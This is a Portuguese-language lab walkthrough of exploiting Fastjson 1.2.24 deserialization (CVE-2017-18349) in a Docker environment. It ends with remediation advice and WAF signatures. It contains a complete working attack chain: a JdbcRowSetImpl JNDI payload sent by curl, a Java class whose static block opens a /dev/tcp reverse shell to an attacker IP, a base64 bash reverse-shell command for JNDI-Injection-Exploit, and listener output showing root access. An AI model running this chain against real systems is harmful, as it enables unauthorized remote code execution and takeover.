
Passo a passo da exploração de RCE por desserialização do Fastjson CVE-2017-18349, abrangendo identificação da superfície de ataque, impressão digital, injeção JNDI e obtenção de shell reverso em um ambiente de laboratório Docker.
Vamos começar com o que está sendo executado no ambiente. Listo todos os contêineres ativos:
docker ps

A vítima expõe apenas uma única porta: 8090
Atualmente, ainda não estou totalmente claro sobre o alvo. A partir dos resultados do docker ps, o sistema publica apenas um serviço notável externamente na porta 8090, que está mapeado para o serviço interno do contêiner. Esta é a principal superfície de ataque a ser analisada.
⇒ Eu faço um Curl diretamente para obter mais informações
curl -i 192.168.3.137:8090/

Análise da resposta:
Content-Type: application/json;charset=UTF-8.{"age": 25, "name": "Bob"}.⇒ Pensamento: Ao acessar a porta 8090, o servidor retorna dados JSON. Isso indica que o endpoint não serve apenas uma página web estática, mas possui um backend processando requisições e serializando dados em JSON para retornar ao cliente. A partir dos resultados do docker ps, o comando em execução dentro do contêiner mostra sinais de ser uma aplicação Java, então a próxima direção de inspeção é identificar (fingerprint) parsers JSON comuns em Java.
Em Java, bibliotecas JSON populares como Jackson, Gson e Fastjson se comportam de maneira diferente ao encontrar entradas incomuns. Portanto, podemos utilizar a técnica de Identificação (Fingerprinting) baseada em Erro. O erro retornado às vezes revela diretamente a biblioteca ou o mecanismo de processamento interno. Entre elas, o Fastjson é um alvo que precisa de verificação precoce porque versões antigas tinham múltiplas vulnerabilidades críticas relacionadas à Desserialização AutoType.
Aqui, não afirmo imediatamente que o backend usa Fastjson. Escolho apenas o Fastjson como a primeira direção de verificação porque ele tem uma impressão digital clara através da chave @type, e se for de fato uma versão antiga do Fastjson, a capacidade de exploração pode ir muito além de um erro de análise padrão, potencialmente levando até a RCE.
O Fastjson tem uma característica muito útil para identificação: ele reconhece a chave especial @type. Se o backend usar Fastjson e o corpo da requisição enviado para o fluxo de desserialização suportar AutoType, o parser pode tentar interpretar o valor de @type como um nome de classe Java.
Portanto, envio um payload contendo @type apontando para uma classe inexistente. O objetivo desta etapa não é explorar imediatamente, mas observar se o backend reage ao @type.
curl -i -X POST -H "Content-Type: application/json" \
-d '{"@type":"com.non.existent.Class"}' \
http://192.168.3.137:8090/

Se o backend usasse um parser JSON padrão e não se importasse com @type, este campo poderia ser ignorado ou tratado como uma chave normal no JSON. No entanto, aqui o backend reage com comportamento relacionado a tipo (type not match - tipo não corresponde), significando que a requisição entrou no fluxo de processamento de mapeamento classe/tipo.
A mensagem "type not match" é uma assinatura característica frequentemente encontrada quando o Fastjson processa @type mas a classe especificada não corresponde ao tipo de dado esperado pelo endpoint, ou a classe não existe/não é permitida ser desserializada.
⇒ Pensamento: O backend realmente analisa o corpo JSON da requisição POST, o campo @type não é ignorado, o parser possui um mecanismo de processamento de metadados de tipo, e o erro retornado corresponde ao comportamento do Alibaba Fastjson. Portanto, podemos concluir com alta confiança que o backend está usando Alibaba Fastjson.**
Após a etapa de identificação, não posso concluir imediatamente que o sistema é explorável. O backend usando Fastjson apenas prova que a requisição JSON entra no fluxo de processamento de @type.
Para executar um exploit de RCE, o seguinte deve ser verificado:
⇒ Pensamento: O erro type not match mostra que o backend reage ao @type, mas o payload atual usa apenas uma classe falsa para acionar um erro. Para a exploração real, precisamos substituir essa classe falsa por uma classe real presente no Java/JDK que seja capaz de criar comportamentos de saída como JNDI lookup.
Para determinar a versão, verifico diretamente dentro do contêiner/aplicação.

Após identificar que a aplicação está empacotada como o arquivo /usr/src/fastjsondemo.jar, prossigo com uma análise aprofundada desta estrutura de pacote para procurar a biblioteca de processamento JSON. Verificando a estrutura do diretório BOOT-INF/lib/ revela o arquivo fastjson-1.2.24.jar (Figura X).
O uso exato da versão 1.2.24 — a primeira e mais famosa versão afetada pela vulnerabilidade de desserialização sem nenhum mecanismo de defesa autoType — nos permite confirmar que o sistema é vulnerável ao CVE-2017-18349.
Encontrar fastjson-1.2.24.jar confirma que a aplicação usa uma versão muito antiga do Fastjson, pertencente ao grupo afetado pela falha de Desserialização AutoType. Nesta versão, o mecanismo de controle sobre o AutoType não foi endurecido como nas versões posteriores, portanto, em relação às condições da biblioteca, o sistema é suscetível à exploração através de classes gadget como JdbcRowSetImpl.
No entanto, a exploração real ainda depende de como o endpoint invoca o Fastjson. Se a aplicação analisar JSON em uma classe fixa, definir o payload @type no objeto raiz pode levar ao erro "type not match". Portanto, após identificar a versão, devemos continuar analisando a JVM, a classe gadget e o comportamento de callback LDAP para confirmar se a cadeia de exploração realmente atinge o JNDI lookup.
1. Analisando Barreiras da JVM
Além da versão do Fastjson, a versão do Java também é um fator decisivo. Verifico a JVM dentro do contêiner:
java -version

Esta é uma informação crítica porque as cadeias de exploração do Fastjson normalmente dependem de Injeção JNDI. Versões mais recentes do Java bloquearam o carregamento de classes de codebases externos via LDAP/RMI por padrão. No entanto, Java 8u102 é uma versão antiga que ainda não possui esses mecanismos de bloqueio.
Portanto, se o atacante puder acionar um JNDI lookup, a JVM da vítima tem a capacidade de baixar a classe de um servidor HTTP externo e carregá-la no runtime.
Após identificar o Fastjson antigo e a JVM, o próximo passo é encontrar uma classe presente no JDK que possa produzir comportamento perigoso quando desserializada.
com.sun.rowset.JdbcRowSetImpl é um gadget adequado porque esta classe existe no JDK e possui uma propriedade dataSourceName. Quando dataSourceName recebe um valor no formato de URL LDAP, o objeto pode ser explorado para acionar um JNDI lookup de saída.
⇒ Pensamento: Não preciso fazer upload de código diretamente para o servidor. Em vez disso, aproveito uma classe existente dentro da JVM para forçar a vítima a se conectar a um servidor LDAP controlado pelo atacante.
Após estabelecer as condições necessárias em relação à biblioteca e à JVM, preciso verificar se o payload realmente força a vítima a se conectar externamente. Este é um passo crítico para distinguir entre:
Se o servidor LDAP ou listener receber uma conexão da vítima, isso prova que o payload atingiu com sucesso a etapa de JNDI lookup. Se não houver callback e o servidor retornar type not match, isso indica que o payload atual não corresponde ao fluxo de desserialização do endpoint. Neste caso, o payload precisa ser ajustado para a estrutura exata do objeto que está sendo analisada pelo endpoint, ou devem ser utilizados bypasses/gadgets alternativos.
A partir das etapas acima, a cadeia de condições do sistema pode ser resumida da seguinte forma:
@type indica que o backend processa o mecanismo de metadados de tipo, correspondendo ao comportamento do Fastjson.fastjson-1.2.24.jar.com.sun.rowset.JdbcRowSetImpl existe no JDK e pode ser explorado para acionar JNDI lookup através da propriedade dataSourceName.⇒ Pensamento de Exploração:
Não preciso encontrar funções de upload de arquivo ou escrever arquivos diretamente no servidor. Em vez disso, aproveito o fluxo de desserialização do Fastjson para forçar a JVM a instanciar um objeto JdbcRowSetImpl. Quando este objeto recebe um dataSourceName na forma de uma URL LDAP, a vítima realizará um JNDI lookup para o servidor controlado pelo atacante. A partir daí, o atacante pode redirecionar a JVM para baixar a classe maliciosa de um servidor HTTP externo e executar o código dentro dessa classe.
Portanto, o caminho de exploração selecionado é:
Fastjson AutoType
→ JdbcRowSetImpl gadget
→ JNDI LDAP lookup
→ HTTP codebase containing Exploit.class
→ Reverse shell back to the attacker
text
Connection received on 192.168.3.137 43928
whoami
root
No Fastjson 1.2.24, a classe com.sun.rowset.JdbcRowSetImpl é uma classe gadget presente no classpath da JVM (pertencente à biblioteca padrão rt.jar). Quando o Fastjson desserializa uma string JSON contendo @type apontando para esta classe:
JdbcRowSetImpl.setDataSourceName() é chamado → definindo o endereço JNDI.setDataSourceName() aciona o InitialContext.lookup(dataSourceName) interno → toda a Injeção JNDI ocorre aqui, antes que setAutoCommit() tenha a chance de executar.Exploit.class do HTTP Codebase, carrega-o na memória → executando o bloco static {}.Exploit.java)import java.io.IOException;
public class Exploit {
static {
try {
String[] cmd = {
"/bin/bash",
"-c",
"exec 5<>/dev/tcp/192.168.3.114/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"
};
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}
}
}
Como a JVM da vítima executa Java 8u102, devemos especificar o destino como Java 8 durante a compilação. Caso contrário, a vítima lançará um UnsupportedClassVersionError e a cadeia de ataque falhará silenciosamente. Em seguida, configure o Servidor HTTP Codebase:
javac -source 1.8 -target 1.8 Exploit.java
python3 -m http.server 8000
JNDI-Injection-ExploitComo o ambiente Kali executa Java 25 — muito novo para construir o marshalsec — usamos a ferramenta alternativa JNDI-Injection-Exploit. Primeiro, crie o payload de reverse shell no formato base64:
echo -n "bash -i >& /dev/tcp/192.168.3.114/4444 0>&1" | base64
Inicie o servidor JNDI com o payload acima:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \
-C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTE0LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" \
-A 192.168.3.114

A ferramenta gera automaticamente o endpoint LDAP:
ldap://192.168.3.114:1389/6bzjwg
Abra a porta de escuta reversa:
nc -lvnp 4444
Vemos que colocar o payload @type no objeto raiz retorna um erro type not match — porque o Controller Spring Boot está mapeando o JSON para um tipo fixo, que não corresponde a JdbcRowSetImpl no nível raiz.
Ajustando o payload: Envolva a classe gadget dentro de um campo aninhado ("data":{...}) para que o Fastjson processe o objeto aninhado de forma independente da restrição de tipo do Controller:
curl -i -X POST -H "Content-Type: application/json" \
-d '{"data":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.3.114:1389/6bzjwg","autoCommit":true}}' \
http://192.168.3.137:8090/

No Servidor LDAP (marshalsec): Registrou uma requisição de consulta JNDI bem-sucedida do IP da vítima e redirecionou para o HTTP codebase.
No Servidor HTTP (Python): Registrou a requisição para baixar o arquivo Exploit.class com código de status 200 OK do IP da vítima, provando que a JVM carregou o bytecode com sucesso.
No Netcat Listener: Estabeleceu com sucesso a sessão interativa (reverse shell):
listening on [any] 4444 ...
connect to (192.168.3.114) from (UNKNOWN) [192.168.3.137] 49439
root@7308074af0ab:/# whoami
root
A cadeia de exploração completa foi verificada com sucesso: desde o envio do payload JSON → JNDI lookup → referência LDAP → carregamento da classe remota → execução de código no bloco static {} → estabelecimento de um reverse shell com privilégios root.
A vulnerabilidade de RCE por Desserialização do Fastjson (CVE-2017-18349) neste sistema é classificada no nível de gravidade mais alto:
Para resolver completamente esta vulnerabilidade, as ações devem ser implementadas na seguinte ordem de prioridade:
Atualizar o Fastjson: Atualize a biblioteca para uma versão segura (≥ 1.2.83). A partir da versão 1.2.25, o recurso autoType foi desabilitado por padrão e um mecanismo de lista negra rigoroso foi adicionado — removendo diretamente o vetor de ataque do CVE-2017-18349. Ou considere migrar para uma biblioteca alternativa melhor mantida, como Jackson ou Gson.
Atualizar a JVM: Atualize o Java Runtime para pelo menos Java 8u191. A partir desta versão, a propriedade com.sun.jndi.ldap.object.trustURLCodebase é definida como false por padrão — bloqueando completamente a capacidade da JVM de carregar classes automaticamente remotamente via LDAP/RMI, quebrando a cadeia de Injeção JNDI mesmo que o Fastjson ainda contenha a vulnerabilidade.
Reduzir Privilégios de Execução: Nunca execute a aplicação web sob o usuário root. Crie um usuário dedicado (ex: app_user) com privilégios mínimos — mesmo que o atacante atinja RCE, o dano será limitado ao escopo de privilégios desse usuário.
SafeMode no código fonte para desligar completamente o autoType:ParserConfig.getGlobalInstance().setSafeMode(true);
Ou estabeleça uma lista branca rigorosa permitindo apenas classes aprovadas a serem desserializadas.
Implantar WAF: Configure um Web Application Firewall para detectar e bloquear requisições HTTP contendo assinaturas de exploração do Fastjson no corpo JSON: @type, JdbcRowSetImpl, dataSourceName, ldap://, rmi://.
Restringir Rede do Contêiner: Configure regras de firewall para bloquear o contêiner de iniciar ativamente conexões de saída (tráfego de saída) — impedindo que reverse shells se conectem de volta ao atacante e bloqueando callbacks JNDI para servidores LDAP/RMI externos. No ambiente Docker, configure regras apropriadas de -network e iptables.
| Critério | Avaliação | Detalhes |
|---|
| Pontuação CVSS | 9,8 (Crítico) | Nível de risco extremamente alto — apenas menor que o 10,0 absoluto porque não requer acesso especial à rede. |
| Autenticação | Não Necessário | O atacante não precisa de nenhuma conta ou credenciais para explorá-la. Qualquer pessoa capaz de enviar uma requisição HTTP pode atacar. |
| Complexidade | Muito Baixa | Requer apenas o envio de uma única requisição HTTP POST contendo um payload JSON válido — nenhuma ferramenta complexa ou condições especiais necessárias. |
| Proteção da JVM | Nenhuma | Java 8u102 não possui um mecanismo para bloquear o carregamento de classes remotas (trustURLCodebase é true por padrão), permitindo que toda a cadeia de Injeção JNDI → Carregamento Remoto de Classes funcione sem impedimentos. |
| Privilégios Obtidos | root | Controle total sobre o contêiner da aplicação no nível de privilégio mais alto — lendo/escrevendo/excluindo qualquer arquivo, incluindo /etc/shadow. |
| Movimentação Lateral | Alta | A partir do contêiner comprometido, o atacante pode escanear a rede interna (172.19.0.0/16) e atacar outros contêineres na mesma rede Docker project1_default. |